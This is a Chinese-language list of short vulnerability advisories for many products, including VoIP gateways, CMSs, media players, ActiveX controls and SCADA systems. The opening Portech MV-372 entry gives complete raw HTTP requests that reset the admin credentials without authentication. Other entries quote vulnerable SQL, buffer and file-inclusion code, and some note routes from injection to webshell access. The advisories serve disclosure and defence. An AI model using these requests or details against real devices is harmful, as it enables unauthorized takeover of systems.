Portech MV-372是一款VoIP网管设备。Portech MV-372存在WEB管理验证绕过漏洞，攻击者提交恶意的POST请求可无需验证更改设备的用户名和密码：POST http://<device address>/change.cgi HTTP/1.1Host:  <device address>User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101Firefox/5.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: hu-hu,hu;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateAccept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7Connection: keep-aliveReferer: http://192.168.0.100/change.htmContent-Type: application/x-www-form-urlencodedContent-Length: 50Nuser=admin&Npass=admin&Nrpass=admin&submit=Submit要保存这些用户名和密码的更改可提交如下请求：POST http://<device address>/save.cgiHost: <device address>User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101Firefox/5.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: hu-hu,hu;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateAccept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7Connection: keep-aliveReferer: http://192.168.0.100/save.htmContent-Type: application/x-www-form-urlencodedContent-Length: 11submit=Save
Portech MV-372是一款VoIP网管设备。Portech MV-372 Telnet服务存在远程拒绝服务漏洞，提供超长密码如5000字符可使telnet服务崩溃，需要重新启动设备获得正常功能。
Ingate Firewall和SIParator都是企业级的硬件防火墙设备。Ingate Firewall和SIParator 处理多个TLS destination时存在错误，攻击者可以利用漏洞重置SIP模块，结果可删除SIP会话，造成拒绝服务攻击。
DmxReady文档库管理器可用于存储和管理全部库文件。DmxReady文档库管理器1.2版本存在SQL注入漏洞，可能导致敏感信息泄露。
Discuz!NT是康盛创想(Comsenz)旗下的一款基于ASP.NET平台的社区软件。Discuz!NT 3.6版本登录框提交用户名和密码的时候存在跨站漏洞。
DMXReady账户列表管理器可用于在网站上保留客户和供应商的信息。DMXReady账户列表管理器1.2版本存在SQL注入漏洞，可能导致敏感信息泄露。
VUPlayer是一款多媒体播放程序。VUPlayer处理'.asx'文件存在缓冲区溢出，远程攻击者可以利用漏洞对应用程序权限执行任意指令。构建恶意'.asx'文件，诱使用户打开可触发漏洞。
vsftpd FTP Server是一款安全性加强的FTP服务程序。vsftpd的项目主服务器被入侵，vsftpd 2.3.4源代码包被植入后门，攻击者可以利用此后门以应用程序上下文执行任意代码。
PhpFood CMS是用于在线订餐的内容管理系统。PhpFood CMS 2.00版本存在SQL注入漏洞，可能导致敏感信息泄露。
DMXReady链接管理器可用于显示和管理使用网页浏览器时的所有链接。DmxReady链接管理器1.2版本存在SQL注入漏洞，可能导致敏感信息泄露。
iMesh是一个文件分享软件，通过它可以轻松查找，下载和分享MP3，视频和图像文件等。iMesh提供的IMWebControl.dll ActiveX控件不正确处理用户提供给ProcessRequestEx()方法的参数，攻击者可以构建恶意WEB页，诱使用户解析，可以应用程序上下文执行任意代码。
foobar2000是一款专业数字音频播放工具。foobar2000在处理WAV格式块中某些字段时foo_input_std.dll存在整数溢出，攻击者可以构建恶意文件，诱使用户解析，触发基于堆的缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
Donar Player是一款可以播放各种不同音乐格式的播放程序。Donar Player处理'.wma'文件存在缓冲区溢出，远程攻击者可以利用漏洞对应用程序权限执行任意指令。构建恶意'.wma'文件，诱使用户打开可触发漏洞。
IBM InfoSphere Information Server是一款数据集成软件平台，可以帮助企业从分散在系统中的复杂的异类信息中获得更多价值。由于对某些DSEngine目录下的文件("ds.rc"和"dsenv")不安全的文件属性和属主设置，本地攻击者可以利用漏洞获得root特权。要成功利用漏洞需要"dsadm"用户特权。
IBM Rational DOORS是一款需求管理工具，它通过改进需求沟通与协作，可以最大限度地提高业务流程。IBM Rational DOORS存在一个未明安全错误。
IBM Rational DOORS是一款需求管理工具，它通过改进需求沟通与协作，可以最大限度地提高业务流程。IBM Rational DOORS相关服务器存在错误应答，目前没有详细漏洞细节提供。
Drupal是一款开放源码的内容管理平台。用于Drupal的密码哈希加强(phpass)模块存在安全漏洞，允许恶意攻击者进行绕过安全限制。用户更改密码后，应用程序没有校验密码重置链接，允许攻击者获得对用户账户的访问。
Drupal是一款开放源码的内容管理平台。用于Drupal的密码哈希加强(phpass)模块存在安全漏洞，允许恶意攻击者进行暴力破解。密码重置链接存在一个错误，没有替换密码重置链接中的"pass"属性，通过暴力破解攻击可判断重置链接。
IBM Rational DOORS是一款需求管理工具，它通过改进需求沟通与协作，可以最大限度地提高业务流程。IBM Rational DOORS部分输入在返回用户之前缺少过滤，攻击者可以借此进行跨站脚本攻击，可获得敏感信息或劫持用户会话。
AeroMail是种基于WEB的电子邮件系统，由Mark Cushman负责开发、维护，可用于Windows、Unix操作系统。AeroMail存在跨站请求伪造漏洞，攻击者可以利用漏洞发送、删除电子邮件，或以网站用户身份创建文件夹。
AeroMail是种基于WEB的电子邮件系统，由Mark Cushman负责开发、维护，可用于Windows、Unix操作系统。AeroMail存在跨站脚本漏洞，攻击者可以利用漏洞执行任意HTML和脚本代码。
mdigg是Joomla的一款组件。Joomla mdigg组件存在SQL注入漏洞，可能导致敏感信息泄露。
WordPress是一款流行的blog系统。WordPress存在一个未明错误，允许攻击者绕过限制未授权访问应用系统。要成功利用漏洞需要攻击者拥有"Editor"的角色。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。运行某些报告时存在一个错误，通过诱使系统管理员运行某个报告可创建一个使用硬编码用户凭据的SAPTerm用户。
IBM WebSphere Portal和IBM Lotus Web Content Management存在输入验证问题，远程攻击者可以利用漏洞进行跨站脚本攻击。部分相关PageBuilder2主题(theme)的输入在返回用户之前缺少过滤，攻击者可以利用漏洞在目标用户浏览器上执行任意HTML和脚本代码，可获得敏感信息或劫持用户会话。
Rhythmbox是一个GNOME默认的音乐管理和播放软件。Rhythmbox处理'.m3u'文件存在缓冲区溢出，攻击者可以构建恶意文件，诱使用户解析，以应用程序上下文执行任意代码。
IBM Tivoli Directory Server是一款功能强大的LDAP目录服务实现。IBM Tivoli Directory Server WEB管理工具没有正确限制对某些日志文件的访问，攻击者通过目录遍历攻击可获得敏感信息。
OpenSSH是一款SSH协议开放源代码实现。OpenSSH 3.5p1存在预验证缓冲区溢出漏洞，远程攻击者可以利用漏洞以root权限执行任意代码。使用修改过的ssh客户端可在SSH版本1和SSH版本2上触发此漏洞，问题代码存在于"auth2-pam-freebsd.c"文件中：http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/Attic/auth2-pam-freebsd.c具体的将此缺陷的代码路径位于此源代码的PAM验证线程中。不能验证此缺陷存在于这个(第三方，freebsd)OpenSSH代码或FreeBSD pam自身库中。无论是挑战应答(SSH版本1)还是通过PAM(SSH版本2)键盘交互验证都可经过此代码路径。提供超长用户名可使守护程序ssdh崩溃。
IBM DB2 Universal Database Server是一款大型的商业关系数据库系统。IBM DB2 'DT_RPATH'不安全库装载，本地攻击者可以利用漏洞提升特权，以root权限执行任意代码。
ezEIP是一款企业网站管理系统。ezEIP 2.0版本存在注入漏洞，攻击者可以利用漏洞获得网站管理员权限，登录网站管理员后台/system/Login.aspx，并获得webshell权限。
Discuz!是一款国内流行的论坛程序。Discuz! X2存在SQL注射漏洞，攻击者可以利用漏洞获得敏感信息。
Libvirt库是一种实现Linux虚拟化功能的Linux接口，它支持各种虚拟机监控程序。src/ libvirt.c中“virDomainGetVcpus（）”函数存在整数溢出错误，攻击者可以通过发送特制的请求导致守护进程崩溃或破坏内存。
FlatPress是一个开源的个人博客系统。通过“name”，“email”和“URL”参数传递给index.php文件的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
Opera是一款流行的WEB浏览器。当处理"data" URL机制时存在错误，没有针对URI做强制的安全上下文继承，允许URI与其他页和源代码页面交互。可造成跨站脚本攻击。
Zope是一款开放源代码的WEB应用服务器。Zope存在一个未明错误，允许攻击者绕过安全限制未授权访问应用服务器。
Opera是一款流行的WEB浏览器。当尝试处理一个不能解析为合法URL的URL时，当装载时Opera会创建一个错误页显示给用户。如果创建了足够的非法URL，Opera会创建这些错误页面消耗所有磁盘控件，导致浏览器或系统崩溃。
Winamp Essentials Pack是一款简单好用的编解码器。Winamp Essentials Pack在解析H263视频内容中"CustomWidth"和"CustomHeight"字段时f263.w5s才能在错误，构建特制的FLV文件可触发基于堆的缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
Rockwell Automation RSLinx是一款Rockwell为用户提供的通讯管理软件。创建调试字符串时OPC自动化ActiveX控件("RsiOPCAuto.OPCServer")存在边界错误，向"Connect()"方法的"ProgID"参数提交超长字符串可触发基于栈的缓冲区溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
Fujitsu Accela BizSearch存在输入验证漏洞，允许攻击者进行跨站脚本攻击。相关于标准搜索页面的部分未明输入在返回给用户之前缺少过滤，允许攻击者进行跨站脚本攻击，攻击者可以构建恶意WEB页，诱使用户解析，获得敏感信息或劫持用户会话。
QEMU是一款面向完整PC系统的开源仿真器。virtio_queue_notify()函数会检查virtqueue号是否小于virtqueue的最大值，使用了符号对比，但是如果运行可恶意guest，virtqueue号可为负值。结果可导致越界访问virtqueue数列之外的内存。可能导致特权提升。
Sybase Advantage Server是数据管理系统和软件。Sybase Advantage Server在ADS进程的实现上存在内存破坏漏洞，远程攻击者可利用此漏洞执行任意代码，造成拒绝服务。此漏洞源于Backup Server组件在创建日志消息时的格式字符串错误。可通过发送到TCP端口5001的特制报文造成进程崩溃或内存破坏。
RealityServer是一款Nvidia推出3D图形云计算平台。如果发送给RealityServer Web Services的报文中0xc01偏移处字节>= 0x80，可触发空指针应用而使应用程序崩溃。
phpMyAdmin是一款基于PHP的MySQL管理程序。phpMyAdmin存在多个安全漏洞：1，超级全局$_SESSION数列中的任意变量可覆盖或使用任意值创建。2，phpMyAdmin中的一个错误配置允许$_SESSION数列中的内容写入到.php-file中，组合1漏洞可能执行任意代码。3，$_SESSION数列中的内容(post验证)用于函数输入可执行PHP代码。
rgboard是韩国的一款论坛程序。rgboard 4.2.1版本存在SQL注入漏洞，可能导致敏感信息泄露。
libgssglue提供gssapi接口，但本身不实现任何gssapi机制，它只调用其他gssapi函数。libgssglue中不安全使用getenv()，在某些条件下，本地攻击者可以利用漏洞获得root特权。
HP OpenView Operations是一款分布式客户机/服务器软件产品，用于管理分布式环境。ovbbccb.exe是运行在383端口的SYSTEM服务，"Register"命令用于告诉ovbbccb.exe端口上的特定服务(如Coda)及一些服务作为外部servlet使用的其他信息。这些信息没有通过HTTP请求直接传递，而是位于客户端使用它的全任意路径指定的本地文件中。在解析此文件中的信息后，服务会使用OvXpl.dll中的MSVCR80.remove删除文件：  00431C42   C645 FC 17       MOV BYTE PTR SS:[EBP-4],17  00431C46   8D4D CC          LEA ECX,DWORD PTR SS:[EBP-34]  00431C49   FF15 18064400    CALL DWORD PTR DS:[<&OvXpl.?Delete@File_>                              ; OvXpl.?Delete@File_t@OvXplIo@@QBE_NXZ结果可导致攻击者可删除相同机器或其他类似UNC路径上的文件。
Ashampoo 3D CAD Professional 3 ActiveX控件存在安全漏洞，允许攻击者利用漏洞覆盖系统任意文件。漏洞是由于Cygnicon.ViewControl.1 (CyViewer.ocx) ActiveX控件使用不安全的"SaveData()"方法，构建恶意WEB页，诱使用户解析，可以当前登录用户上下文覆盖任意文件。
Atlassian JIRA是一款基于J2EE技术的项目问题跟踪以及管理软件。Atlassian JIRA存在安全绕过问题，允许攻击者利用此漏洞下载任意附件文件。
Ubisoft CoGSManager ActiveX是一款bisoft games Rainbow Six, Ghost Recon, IL2和Lock-On游戏使用的控件。当构建语言库文件名称时存在边界错误，把超长bstrLanguage参数传递给"Initialize()"方法可触发基于栈的缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
PJBlog一套开源的中文个人博客系统程序，采用asp+Access的技术。文件Action.aspp中：ElseIf Request.QueryString("action") = "UpdatePass" Then   //第283行If ChkPost() ThenDim u_ID, u_q, u_au_ID = CheckStr(UnEscape(Request.QueryString("id")))u_q = CheckStr(UnEscape(Request.QueryString("q")))u_a = CheckStr(UnEscape(Request.QueryString("a")))Conn.Execute("Update [blog_Member] Set [mem_Question]='"&u_q&"',[mem_Answer]='"&u_a&"' Where [mem_ID]="&u_ID)Response.Write("1")Elseresponse.write lang.Err.info(999)End If程序在更新用户的安全问题和答案的时候没有进行有效的验证，导致可以修改任意用户安全的问题和答案。
Sybase Advantage Server是一款功能全面的高性能客户端/服务器数据管理系统。默认Sybase Advantage Server(ADS进程)监听UDP和TCP 6262端口，程序在处理提交给UDP端口的报文类型时存在单字节溢出错误，攻击者可以利用此漏洞以应用程序安全上下文执行任意代码。
SmallFTPD是一款windows平台下的小型ftp服务器。SmallFTPD处理多个连接请求时存在漏洞，攻击者可以利用漏洞使服务停止响应，造成拒绝服务攻击。
Novell ZENworks Handheld Management是一款手持式的数据备份和管理工具。操作码0x01的子操作码调用Common.dll中的ReceiveAppMessage函数，在MQueue文件夹中会创建messageID加".msg"扩展的文件。在messageID末尾使用字节0x00可避免追加扩展，通过目录遍历在MQueue文件夹之外创建文件。
Mambo是一款开源的WEB内容管理系统。Mambo CMS未能正确过滤用户提供的输入，攻击者可以进行跨站脚本攻击，在用户浏览器上执行任意脚本代码。
Novell File Reporter可提供现有文件信息、最后访问数据时间，文件的副本信息及文件位置等网络服务器上存储的无数文件信息并可规划存储空间。通过NAME SRS, OPERATION 4和CMD 5可能删除远程系统上的任意文件。
Winamp是一款流行的媒体播放器。解析MTrk块时in_mod.dll中存在错误，特制的文件可触发内存破坏。
Winamp是一款流行的媒体播放器。处理"Controller"消息时in_mod.dll中存在错误，特制的MIDI文件可触发基于堆的缓冲区溢出。
Discuz!是一款国内流行的论坛程序。Discuz多个版本在实现上存在存储型跨站脚本攻击漏洞，远程攻击者可利用这些漏洞在目标用户系统上执行恶意脚本代码。
Winamp是一款流行的媒体播放器。in_mod.dll中存在错误，特制的IT文件可触发内存破坏。
Winamp是一款流行的媒体播放器。当解压缩帧时屏幕尺寸处理的nsvdec_vp3.dll中存在错误，构建特制的NSV文件可触发基于堆的缓冲区溢出。
Winamp是一款流行的媒体播放器。解析屏幕尺寸时nsvdec_vp6.dll存在整数溢出，构建特制的NSV文件可触发内存破坏。
Winamp是一款流行的媒体播放器。解压缩帧时nsvdec_vp5.dll存在错误，构建特制的NSV文件可触发基于堆的缓冲区溢出。
Winamp是一款流行的媒体播放器。解析H263视频内容中"CustomWidth"和"CustomHeight"字段时存在错误，构建特制FLV文件可触发内存破坏。
Winamp是一款流行的媒体播放器。当解析On2 TrueMotion VP6 codec编码的媒体文件时vp6.w5s存在错误，如果构建的FLV媒体文件中"version"字段超过8，可触发内存破坏。
Joomla是一款基于WEB的应用程序。 Joomla组件A Cool Debate存在本地文件包含漏洞，acooldebate.php文件存在如下语句：if($controller = JRequest::getVar('controller')) {  require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php');  由于该语句没有对$controller参数进行合法性判断，导致本地文件包含。攻击者可使用%00以利用此漏洞，导致敏感信息泄露。
Kingtop内容管理软件存在SQL注入漏洞，攻击者可以利用该注入漏洞获得网站管理员权限，从而可以登录网站管理员后台webmanage/Login.aspx，并可以获得webshell权限。
Movable Type是一款基于WEB的网络博客系统。Movable Type存在未明错误，攻击者可以利用漏洞获得本地资源中的文件内容。要成功利用漏洞需要"Create Entries"或"Manage Blog"权限。
网赢企业网络营销平台存在SQL注入漏洞，攻击者可以利用该注入漏洞获得网站管理员权限，从而可以登录网站管理员后台manager/index.php，并可以获得webshell权限。
Microsoft Lync Server是一款微软发布整合通讯解决方案。传递给WEB组件服务器Reach/Client/WebPages/ReachJoin.aspx脚本的"reachLocale"参数的输入在返回用户之前缺少过滤，攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息或劫持用户会话。
Asterisk是一款开放源码的软件PBX，支持各种VoIP协议和设备。Asterisk存在安全漏洞，允许恶意攻击者对应用进行拒绝服务攻击。get_in_brackets_full()"函数(channels/sip/reqresp_parser.c)存在空指针应用错误，提交特制SIP "Contact"头数据的请求可使服务程序崩溃。
FreeAmp是一款MP3播放程序。FreeAmp处理'.pls'文件存在缓冲区溢出，攻击者可以构建恶意文件，诱使用户解析，以应用程序上下文执行任意代码。
WordPress工作小组报告多个流行插件如AddThis, WPtouch和W3 Total Cache已被入侵，并植入了后门，利用此后门攻击者可以以应用程序上下文执行任意代码。如果最近几天采用了这些插件的用户，建议联系供应商下载最新版本的插件。
ManageEngine ServiceDesk一个完全基于web的帮助台(HelpDesk)和资产管理软件。ManageEngine ServiceDesk Plus不正确过滤用户提交给'FILENAME'的输入，远程攻击者可以提交目录遍历序列字符，绕过WEB ROOT限制，查看系统文件内容。
Kofax e-Transactions Sender可以从Microsoft Windows 应用程序"打印"文档即可通过电子方式将其传送至业务流程。应用程序绑定的LEADTOOLS LEADSmtp ActiveX控件使用不安全的"SaveMessage()"，允许创建或覆盖任意文件，组合"TextualBody"属性可使用可控内容创建任意文件。
FreeAmp是一款MP3播放程序。FreeAmp处理'.fat'文件存在缓冲区溢出，攻击者可以构建恶意文件，诱使用户解析，以应用程序上下文执行任意代码。
XnView是一个图像浏览器和多媒体播放器，支持多种图形格式。XnView 1.98版本存在拒绝服务漏洞，这是由在Xjp2.dll模块中整数被零除引起的漏洞，本地“C:\XnView 1.98 JP2000 (Compression 50%) DoS.jp2”和远程“\\MySecretServer\XnView 1.98 JP2000 (Compression 50%) DoS.jp2”可触发此漏洞导致拒绝服务。攻击者可利用此漏洞进行拒绝服务攻击。
Burning Board是一款由PHP编写，MySQL后台支持的WEB论坛程序。Burning Board 3.1.5版本存在完整路径披露漏洞，攻击者可以利用漏洞获得敏感信息。
OPIE是一个使用一次性口令进行远程认证的软件包。opielogin没有检查setuid()返回值，可被利用提升特权。
OPIE是一个使用一次性口令进行远程认证的软件包。opiesu.c分配缓冲区计算存在错误(在最后strcat之后缺失\0字节)：  {  int argvsize = 0;  for (i = 0; i < argc; argvsize += strlen(argv[i++]));  argvsize += argc;  if (!(argvbuf = malloc(argvsize))) {    syslog(LOG_ERR, "can't allocate memory to store command line");    exit(1);  };  for (i = 0, *argvbuf = 0; i < argc;) {    strcat(argvbuf, argv[i]);    if (++i < argc)      strcat(argvbuf, " ");  };  };  而且下面这个调用也不正确：  strcat(pathbuf, DEFAULT_PATH);攻击者可以触发缓冲区溢出提升特权。
Cachelogic Expired Domains Script 1.0及之前版本中"index.php"调用的"ncharacter"参数中未能正确过滤用户提供的数据，攻击者可以利用漏洞进行SQL注入攻击。
Cachelogic Expired Domains Script 1.0及之前版本中"stats.php"调用的name和ext参数中未能正确过滤用户提供的数据，攻击者可以利用漏洞进行跨站脚本攻击。
LibreOffice是一款OpenOffice.org 的分支，是跨平台强大的个人办公软件。LibreOffice允许导入'Lotus Word Pro' (.lwp)文档，导入过滤器包含多个漏洞，允许触发基于栈的缓冲区溢出。攻击者构建特制的'Lotus Word Pro' (.lwp)文档，诱使用户打开，可以应用程序上下文执行任意代码。
Calc Builder是Joomla的一款组件。Joomla组件Calc Builder存在SQL盲注入漏洞，可能导致敏感信息泄露。
H3C ER5100是一款企业级双核宽带路由器。H3C ER5100企业级宽带路由器web管理页面存在验证漏洞，未经授权的访问者可以修改、重启，查看大部分系统配置。
WPtouch是WordPress的一款插件。WordPress WPtouch插件1.9.27版本存在安全漏洞，攻击者可以使用户重定向到任意URL。
Easewe FTP OCX ActiveX Control是一款用于实现FTP功能的控件。Easewe FTP OCX ActiveX控件存在不安全"DeleteLocalFile()"方法允许删除任意文件。
Easewe FTP OCX ActiveX Control是一款用于实现FTP功能的控件。Easewe FTP OCX ActiveX控件存在不安全"CreateLocalFile()"方法允许创建任意目录。
Easewe FTP OCX ActiveX Control是一款用于实现FTP功能的控件。Easewe FTP OCX ActiveX控件存在不安全'CreateLocalFile()'方法允许创建任意空文件。
Easewe FTP OCX ActiveX Control是一款用于实现FTP功能的控件。Easewe FTP OCX ActiveX控件存在不安全"Run()"方法允许通过"FilePath"参数执行任意程序。
Easewe FTP OCX ActiveX Control是一款用于实现FTP功能的控件。Easewe FTP OCX ActiveX控件存在不安全"Execute()"方法，允许通过"FilePath"参数执行任意程序。
Cachelogic Expired Domains Script 1.0及之前版本存在完整路径披露漏洞，攻击者可以利用漏洞获得敏感信息。
E-shop manager是一款网上平台管理器。E-shop manager存在SQL注入漏洞，可能导致敏感信息泄露。
Citrix EdgeSight针对应用交付基础架构提供了应用可视性，为Web应用提供了监测终端用户性能的功能。Citrix EdgeSight存在一个安全漏洞，允许攻击者向TCP或者UDP端口18747发送特制报文，以应用程序上下文执行任意代码。
Dreambox是由德国Dream Multimedia公司生产的基于Linux的数字电视机顶盒。DreamBox DM800存在一个任意文件下载漏洞，攻击者可以利用漏洞获得敏感信息。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。J2EE引擎中的验证机制存在错误，攻击者可绕过验证机制进行拒绝服务攻击。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。通过"BSNAME"和"REQID"参数传递给Trust Center服务中的Deployer servlet的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。通过"test"参数传递给performanceProviderRoot应用程序中的testServlet servlet的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SLD(System Landscape Directory)存在未明错误，可通过/REP和/RWB目录获得版本信息。
iGiveTest是用于创建，管理和提供互联网及内联网测试的解决方案。iGiveTest 2.1.0之前版本存在SQL注入漏洞，可能导致敏感信息泄露。
Piwik是一款PHP开源网站访问统计系统。Piwik 1.5之前版本存在一个远程可利用漏洞，允许远程攻击者执行任意代码。要成功利用此漏洞需要"view"访问授权给匿名用户。
If-CMS是一款免费开源的内容管理系统。If-CMS由于未能正确过滤用户提供的输入，导致存在一个本地文件包含漏洞，攻击者可以利用漏洞查看和执行Web服务器进程中的任意本地文件。
NNT Change Tracker和Remote Angel存在安全漏洞，允许恶意本地用户提升特权。应用程序不安全设置安装目录上的文件系统权限，本地攻击者可以利用漏洞覆盖"Remote Angel"目录上的任意文件或库。
TRENDnet TV-IP422W是一款网络摄像头产品。TRENDnet TV-IP422W在实现上存在越权存取漏洞，本地攻击者可利用此漏洞绕过某些安全限制。此漏洞源于应用程序在默认凭证中包含了未公开的"productmaker"帐户。
IBM Web Application Firewall是一款WEB应用防火墙。IBM Web应用防火墙存在安全漏洞，允许攻击者利用WEB漏洞绕过防火墙的保护。当攻击者重复提交相同参数时可保护访问受限资源。
IBM Rational Team Concert是一款基于Jazz技术平台的第一个Rational商用产品，可以提供全方位的协作化软件开发持。通过未明参数传递的输入在显示用户之前缺少充分过滤，攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息或劫持目标用户会话。
Mozilla Firefox，非正式中文名称火狐，是一个开源 网页浏览器，使用Gecko引擎（即非ie内核）,由Mozilla基金会与数百个志愿者所开发。 Firefox浏览器的3.6.16一下版本由于nsTreeSelection元素引发了代码执行漏洞。具体漏洞缺陷是由于火狐浏览器在处理nsTreeSelection元素中用户定义的函数导致的。远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
Wing FTP Server是一款FTP服务程序。在应用程序仅限制使用公钥验证的情况下，SSH验证机制中存在一个错误，允许攻击者无视配置限制，使用密码进行登录。
Firebug是Firefox下的一款开发类插件，集HTML查看和编辑、Javascript控制台、网络状况监视器于一体。处理某些脚本时HTML解析器存在错误，诱使用户访问恶意站点和通过Net Panle查看HTML输出，可以"chrome:"上下文执行任意代码。
Linux是一款开放源代码的操作系统。恶意用户或有问题的应用程序可注入代码并在inet_diag_bc_audit()中触发死循环，造成拒绝服务攻击。
Blue Coat ProxySG是一款代理设备平台，帮助企业加速和保护分布式网络中的应用。应用程序在生成core文件时，会把未加密信息如密钥和末端用户验证数据存储在其中，可导致敏感信息泄露。
Blackice Cover Page SDK/ActiveX控件是Black Ice软件公司开发的页面生成应用程序。Blackice Cover Page SDK/ActiveX控件不安全使用DownloadImageFileURL()方法，攻击者可以构建恶意WEB页，诱使用户解析，可把恶意文件下载到目标系统上。
Microsoft word是一款微软开发的文字处理系统。该漏洞是由于文档中的某些值被用来作为一个指针使用，构建特制的文档可破坏内存，成功利用漏洞可以以应用程序上下文执行任意代码。
Trendnet TV-IP422W、iPUX ICS1033、Digicom IP CAMERA 100W是IP摄像头产品。这些产品包含一个使用默认密码的未文档化账户"productmaker"，攻击者可以利用此账户访问WEB或者Telnet接口及进行命令注入攻击。
Hitachi Web Server是一款Hitachi产品上的WEB服务器。Hitachi Web Server目录索引功能存在未明错误，攻击者可以利用漏洞对应用服务器进行拒绝服务攻击。
Group-Office是一个基于Web的办公套件，其功能包括用户管理、模块管理、邮件客户端、 文件管理器、日程、项目管理以及客户关系管理等。Group-Office存在多个输入验证漏洞，攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息或操作数据库。
Sunway ForceControl主要提供通用监控组态软件服务。Sunway ForceControl产品在实现上存在多个漏洞，远程攻击者可利用此漏洞在受影响设备上执行任意代码或造成拒绝服务。
Gogago YouTube Video Converter是一款视频转换工具，能够在任意的视频格式之间进行转换。用户提供给"bsURL"参数的数据在拷贝到MDIEEx.dll文件中"Download()"方法缓冲区时缺少充分的边界检查，攻击者可以构建恶意WEB页，诱使用户解析，以应用程序上下文执行任意代码。
WebGL是一项在网页浏览器呈现3D画面的技术。WebGL存在拒绝服务漏洞，攻击者可以利用漏洞使应用程序崩溃。
WebGL是一项在网页浏览器呈现3D画面的技术。WebGL存在未明信息泄露漏洞，攻击者可以利用漏洞获得敏感信息。
Trend Micro Control Manager（TMCM）是趋势科技提供的集中安全管理控制台，可以对趋势科技产品与服务进行统一协调。通过"ApHost参数传递给/commoncgi/servlet/CCGIServlet的输入在返回用户之前缺少正确过滤，攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息或劫持用户会话。
Siemens SIMATIC S7-1200是一款西门子退出的模块化控制器。Siemens SIMATIC S7-1200 WEB服务器存在未明错误可触发拒绝服务攻击。
Siemens SIMATIC S7-1200是一款西门子推出的模块化控制器。Siemens SIMATIC S7-1200存在安全漏洞， 引擎软件向可编程逻辑控制器发送未加密数据，通过中间人攻击攻击者可以重播引擎软件发送的重播命令。
POLYCOM Soundpoint IP是宝利通提供的网络电话解决方案。应用程序没有正确限制对reg_1.html配置文件的访问，远程攻击者可以利用漏洞获得敏感信息，如SIP信息。
ClearSCADA是包含轮训引擎，实时数据库，WEB服务器，报警处理器和报告软件的集成SCADA主机平台。ClearSCADA 应用程序存在一个释放后使用错误，发送超长字符串可触发基于堆的缓冲区溢出，成功利用漏洞可以应用程序上下文执行任意代码。
ClearSCADA是包含轮训引擎，实时数据库，WEB服务器，报警处理器和报告软件的集成SCADA主机平台。ClearSCADA存在跨站脚本漏洞，部分未明输入在返回用户之前缺少过滤，攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息或劫持用户会话。
NetBSD和FreeBSD是基于BSD内核的操作系统。IEEE80211_IOC_CHANINFO ioctl存在一个符号错误，本地非特权用户可使内核拷贝大量内核内存到用户空间，泄露敏感内存信息。此漏洞仅影响某些非-x86架构，如SPARC。
e107是一款内容管理程序。"/e107_admin/users_extended.php"脚本没有正确过滤"user_include"变量，攻击者可以进行跨站脚本攻击，获得敏感信息或窃取COOKIE验证信息。
e107是一款内容管理程序。"/e107_admin/users_extended.php"脚本没有正确"user_field"变量，在"magic_quotes"设置为"off"的情况下，攻击者可以执行恶意SQL注入攻击。
Polycom SoundPoint是一款网络电话设备。SoundPoint IP的reg_1.html页面存在信息泄露漏洞，远程攻击者可利用此漏洞获取敏感信息。
Opera Web Browser是一款开源的WEB服务器。Opera Web Browser不正确处理特制HTML元素，远程攻击者构建恶意WEB页，诱使用户解析，可导致应用程序崩溃。
Microsoft word是一款微软开发的文字处理系统。Microsoft Word wdGetApplicationObject()函数存在一个错误，攻击者构建特制的Word文件，诱使用户解析，可导致以用户安全上下文执行任意代码。
Microsoft Windows Media Player是一款微软开发的媒体播放程序。Microsoft Windows Media Player K-Lite解码器存在一个内存破坏漏洞，攻击者构建特制的3gp文件，诱使用户解析，可导致应用程序崩溃。
libvoikko是一款拼写检查引擎。libvoikko的Python和Java接口存在缺陷，处理嵌入空字符的字符串时，可使链接libvoikko库的应用程序崩溃。
Aastra 9480i是一款IP电话设备。应用程序没有正确限制对globalSIPsettings.html和SIPsettingsLine1.html配置文件的访问，攻击者可以利用漏洞获得敏感信息。
TurboCMS高级查询模块未对用户输入的内容进行合法性验证，导致可执行JS脚本进行跨站攻击。
TurboCMS内容管理系统日志查询模块未对用户输入的描述内容进行合法性验证，导致可执行sql语句进行注入攻击。
TurboCMS模版导入模块未对导入的文件类型进行验证，导致用户可上传脚本木马，获取服务器控制权限。
TurboCMS Java内容管理系统的超级管理员和普通管理员权限分离，正常情况下普通用户界面无法看到系统配置、用户管理、查看日志、文件上传、修改模版等页面，但由于TurboCMS Java内容管理系统未对特权页面访问进行二次鉴权，普通管理员登录后在浏览器中输入特权管理页面的URL可进行上述特权操作。
WebFileExplorer是一款基于WEB的文件管理系统。WebFileExplorer不正确过滤用户提交给'user'和'pass'参数的输入，攻击者可以利用漏洞绕过验证，未授权访问应用系统。
